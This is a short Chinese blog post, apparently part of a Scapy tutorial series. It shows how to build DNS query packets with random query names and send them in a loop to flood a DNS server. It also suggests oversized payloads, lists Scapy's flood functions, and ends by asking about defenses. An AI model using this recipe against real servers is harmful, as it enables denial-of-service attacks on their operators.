Python中的Scapy初探之五-DNS洪水攻击

肿么回事,现在肿么都是这些东西?不过看了别人的代码,忍不住留个纪念,对生成随机的数据包有启发,其实,在Scapy有专门的洪水发包的方法

srflood             : Flood and receive packets at layer 3
srloop              : Send a packet at layer 3 in loop and print the answer each time
srp                 : Send and receive packets at layer 2
srp1                : Send and receive packets at layer 2 and return only the first answer
srpflood            : Flood and receive packets at layer 2
srploop             : Send a packet at layer 2 in loop and print the answer each time

改天有时间测试一下

那么如何对DNS服务器进行大量DNS名称解析呢?

首先要构建一个包含随机查询字符串的DNS请求包,主要还是添加qname项

qname一般包含FQDN名称,类似于www.baidu.com,要产生这种格式的名称,以'.'分隔三部分字符串

第一个s1,加上.,然后第二个s2,加上.,最后是第三个s3。那么可以随机产生字符串就ok了

s=RandString(RandNum(1,10))

s1=s.lower()

d=RandString(RandNum(1,10))

s2=d.lower()

t=RandString(RandNum(2,3))

s3=t.lower()

整合起来的字符串就是

q=s1+'.'+s2+'.'+s3

构建一个包

p=IP(dst='dns-server')/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q))

然后send()出去

send(p)

如果可以接收数据包,那么使用srflood()是个不错的选择

send()可以只管发送,不管接收

再加上一个循环,就可以发送n多DNS请求包

想想看,如果将s1与s2的取值扩充成很大,那么发一个巨型的数据包,再循环一下....没看RFC文档,不知道一个DNS包的限定字节数是多少

看了一种方法,就是在TCP层之上,加上超容量的字符

例如TCP()/('xx'*6000000)

这样应该可以了,还没测试过,还需要继续验证

看来服务器的安全真是很重要,还没看到Linux的DNS配置,看看有什么防御方法不

http://www.packetlevel.ch/html/scapy/scapydns.html

http://www.packetlevel.ch/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值